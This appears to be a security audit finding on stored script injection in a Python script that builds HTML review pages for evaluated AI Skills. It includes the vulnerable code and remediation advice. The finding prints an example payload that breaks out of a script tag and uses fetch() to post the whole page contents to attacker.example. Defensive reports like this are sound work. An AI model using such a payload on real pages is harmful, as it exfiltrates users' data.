T09 · Insecure Skill Coding Practices
Error
- Location
- eval-viewer/generate_review.py:272
- Finding
- Stored Script Injection Through Unsafe JSON Embedding in Review Pages<![CDATA[ ## Vulnerability Details **File Location**: `eval-viewer/generate_review.py:272-281` **Vulnerability Type**: Stored script injection in generated HTML **Risk Level**: High ### Complete Code Snippet ```python embedded = { "skill_name": skill_name, "runs": runs, "previous_feedback": previous_feedback, "previous_outputs": previous_outputs, } if benchmark: embedded["benchmark"] = benchmark data_json = json.dumps(embedded) return template.replace( "/*__EMBEDDED_DATA__*/", f"const EMBEDDED_DATA = {data_json};" ) ``` ### Technical Analysis The generator serializes evaluation data with `json.dumps()` and inserts the resulting JSON directly into an executable `<script>` element in `viewer.html`. JSON string escaping is not sufficient for embedding data inside an HTML script element. In particular, `json.dumps()` does not escape the HTML parser-sensitive sequence `</script>`. If an untrusted prompt, generated output, grading result, previous feedback value, or benchmark field contains this sequence, the browser terminates the surrounding script element regardless of whether the sequence occurs inside a JavaScript string. An attacker-controlled value can therefore inject a new script element, for example: ```html </script><script> fetch("https://attacker.example/collect", { method: "POST", body: document.documentElement.innerHTML }); </script> ``` This is especially relevant because the viewer is explicitly intended to process artifacts produced by evaluated Skills and agents. Those artifacts must be treated as untrusted. ### Attack Path 1. An attacker supplies or influences a Skill being evaluated. 2. The Skill writes an output file or grading-related value containing a `</script>` payload. 3. `generate_review.py` reads the malicious content and places it in the `runs` or related embedded data structure. 4. `json.dumps()` preserves the dangerous HTML closing-tag sequence. 5. `generate_html()` inserts the serialized v ...[truncated 1167 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Do not interpolate raw JSON into executable JavaScript. 2. Store the data in a non-executable element and parse its `textContent`: ```html <script id="embedded-data" type="application/json"> <!-- Safely encoded JSON --> </script> <script> const EMBEDDED_DATA = JSON.parse( document.getElementById("embedded-data").textContent ); </script> ``` 3. Before embedding JSON in HTML, escape at least the HTML-sensitive characters: ```python data_json = ( json.dumps(embedded) .replace("<", "\\u003c") .replace(">", "\\u003e") .replace("&", "\\u0026") .replace("\u2028", "\\u2028") .replace("\u2029", "\\u2029") ) ``` 4. Add a restrictive Content Security Policy. Prefer a nonce or hash for trusted scripts and disallow arbitrary inline execution. 5. Avoid loading external resources unless necessary. If network access is not required, use a policy such as `connect-src 'self'` and bundle required assets locally. 6. Add regression tests using payloads containing `</script>`, nested tags, Unicode separators, and event-handler markup. 7. Treat every prompt, output file, grading field, benchmark field, and feedback value as attacker-controlled. ]]>
